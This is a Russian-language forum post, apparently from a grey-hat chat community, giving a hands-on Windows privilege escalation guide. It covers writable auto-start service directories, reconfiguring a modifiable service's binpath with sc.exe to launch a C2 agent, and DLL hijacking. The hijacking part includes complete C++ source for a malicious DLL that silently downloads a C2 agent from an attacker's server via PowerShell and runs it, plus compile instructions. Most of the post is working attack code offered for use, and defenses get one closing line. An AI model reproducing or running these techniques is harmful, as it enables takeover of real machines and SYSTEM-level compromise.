Локальное повышение привилегий Windows

Man

Professional
Messages
3,059
Reaction score
585
Points
113
Часть 1

powershell:
Code:
Get-WmiObject Win32_Service | Where-Object { $_.StartMode -eq 'Auto' -and $_.PathName } | ForEach-Object { if ($_.PathName -match '"[^"]+\.exe"|[A-Za-z]:\\[^ ]+\.exe') { $dir = Split-Path $matches[0]; if (Test-Path $dir) { try { $tempFile = [System.IO.Path]::GetTempFileName(); Move-Item -Path $tempFile -Destination "$dir\temp_test.tmp" -Force -ErrorAction SilentlyContinue; if (Test-Path "$dir\temp_test.tmp") { Remove-Item "$dir\temp_test.tmp" -Force -ErrorAction SilentlyContinue; Write-Output "Can create and delete files in $dir" } } catch {} } } } | Sort-Object -Unique

Данный скрипт находит все службы на виндовс машинке у которых включен "автозапуск". Сохраняет пути к исполняемым файлам и проверяет есть ли у нас право на создание файла. Если есть, то выводит директорию. Данный скрипт сырой, вы можете его доделать основываясь на сорцы инструмента SharpUp.

В нейронку закиньте сорцы и попросите переписать скрипт на powershell в одну строчку.

Далее достаточно сгенерировать агента для C2 и подменить оригинальный бинарь на нашего агента.

Перезагружаем машину и получаем сессию🙏

Если злоумышленник может создать или изменить файл в каталоге службы, это может привести к выполнению вредоносного кода с привилегиями системы.

Часть 2

Запускаем утилиту SharpUp, чтобы проверить какие службы мы можем модифицировать.

powershell:
Code:
"C:\Users\user\Downloads\SharpUp (2).exe" audit

=== Modifiable Service Binaries === (это относится к первой части, замена исполняемого файла)

=== Modifiable Services === (нас интересуют эта табличка)

Узнаем запущена ли служба, которую нам подсветил SharpUp

Code:
sc.exe query Pentest

Если запущена, то отключаем.

poweshell:
Code:
sc.exe sdshow Pentest

Узнаем какие права у нас для службы, чтобы убедиться, что мы можем ее модифицировать.

Code:
sc.exe sdshow Pentest

output: D:(A;;CCLCSWLOCRRC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;DCRPWPCR;;;S-1-5-21-912991490-3884206882-218743976-1002)

WP — изменение свойств службы.

Меняем путь к исполняемому файлу

powershell:
Code:
sc.exe config Pentest binpath= "C:\Users\zlo\c2.exe"

Запускаем службу

powershell:
Code:
sc.exe start Pentest

Далее нам прилетает сессия в наш C2. Если служба работает с высокими привилегиями (например, под учётной записью SYSTEM), вы получите соответствующий уровень доступа.

Часть 3

DLL Hijacking - это повышение прав с помощью подстановки своей DLL, если оригинальную не смогла найти система.

Code:
1. Каталог с приложением
2. C:\Windows\System32
3. C:\Windows\System
4. C:\Windows
5. Текущий рабочий каталог
6. Каталоги в пользовательской переменной окружения PATH

Если разработчик напрямую не указал путь к dll, то система будет искать недостающий элемент сначала начиная с 1 пункта и так далее.

1) Запускаем инструмент ProcMon (https://t.me/GreyHatChat/8728/11144) (для запуска нужны права администратора). В нашем чате есть очень хороший обзор этого инструмента.

download: https://learn.microsoft.com/en-us/sysinternals/downloads/procmon

2) Переходим в директорию где находится исполняемый файл и проверяем есть ли права на запись. Если есть, то в дальнейшем мы туда загрузим свою dll, если нет прав, то проверяем права на 2 по 6 пункт.

powershell:
Code:
powershell "(Get-Acl C:\Test\tool).Access"

3) Запускаем исполняемый файл с помощью которого мы хотим повысить права

4) Фильтруем сначала только наш процесс (исполняемый файл который мы запустили), далее фильтруем только .dll, чтобы отображались. После этого фильтруем, чтобы отображались только не найденные .dll.

5) Создаем свою собственную dll. Пускай она будет скачивать агента для C2 с нашего сервера и исполнять скачанный файл на захваченной системе.

cpp:
Code:
#include <windows.h>
#include <stdlib.h>

BOOL WINAPI DllMain(HINSTANCE hDll, DWORD dwReason, LPVOID lpReserved) {
    switch (dwReason) {
        case DLL_PROCESS_ATTACH: {
            // Команда PowerShell для загрузки и выполнения файла
            char command[] = "powershell -Command \"Invoke-WebRequest -Uri 'http://ip_сервера_где_лежит_агент_для_C2:8080/c2.exe' -OutFile 'C:\\Windows\\Tasks\\c2.exe'; Start-Process 'C:\\Windows\\Tasks\\c2.exe'\"";
            
            // Структуры для запуска процесса
            STARTUPINFO si;
            PROCESS_INFORMATION pi;
            ZeroMemory(&si, sizeof(si));
            si.cb = sizeof(si);
            ZeroMemory(&pi, sizeof(pi));
            
            // Настройка на скрытие окна
            si.dwFlags = STARTF_USESHOWWINDOW;
            si.wShowWindow = SW_HIDE;
            
            // Создание процесса
            if (CreateProcess(NULL, command, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
                // Закрываем дескрипторы процесса
                CloseHandle(pi.hProcess);
                CloseHandle(pi.hThread);
            }
            break;
        }
        case DLL_PROCESS_DETACH:
            break;
        case DLL_THREAD_ATTACH:
            break;
        case DLL_THREAD_DETACH:
            break;
    }
    return TRUE;
}

6) Компилируем

shell:
Code:
x86_64-w64-mingw32-gcc -o not_found.dll -shared c2.c

not_found.dll - замените на название dll, которую не удалось найти (с помощью ProcMon ранее смотрели)
c2.c - тут лежит исходный код для dll

7) Мы переносим подмененную DLL на скомпрометированную машину, помещаем её в нужную директорию и запускаем исполняемый файл, который вызовет нашу DLL.

8) Мы получаем сессию. Права, которые вы получите при выполнении атаки DLL Hijacking, зависят от прав доступа и контекста безопасности процесса, который загружает вашу поддельную DLL.

Для защиты от DLL Hijacking используйте Safe DLL Search Mode, контролируйте права доступа к критическим каталогам, настраивайте AppLocker или WDAC для ограничения неподписанных DLL, и мониторьте систему с помощью Sysmon или ProcMon 🙏
 
Top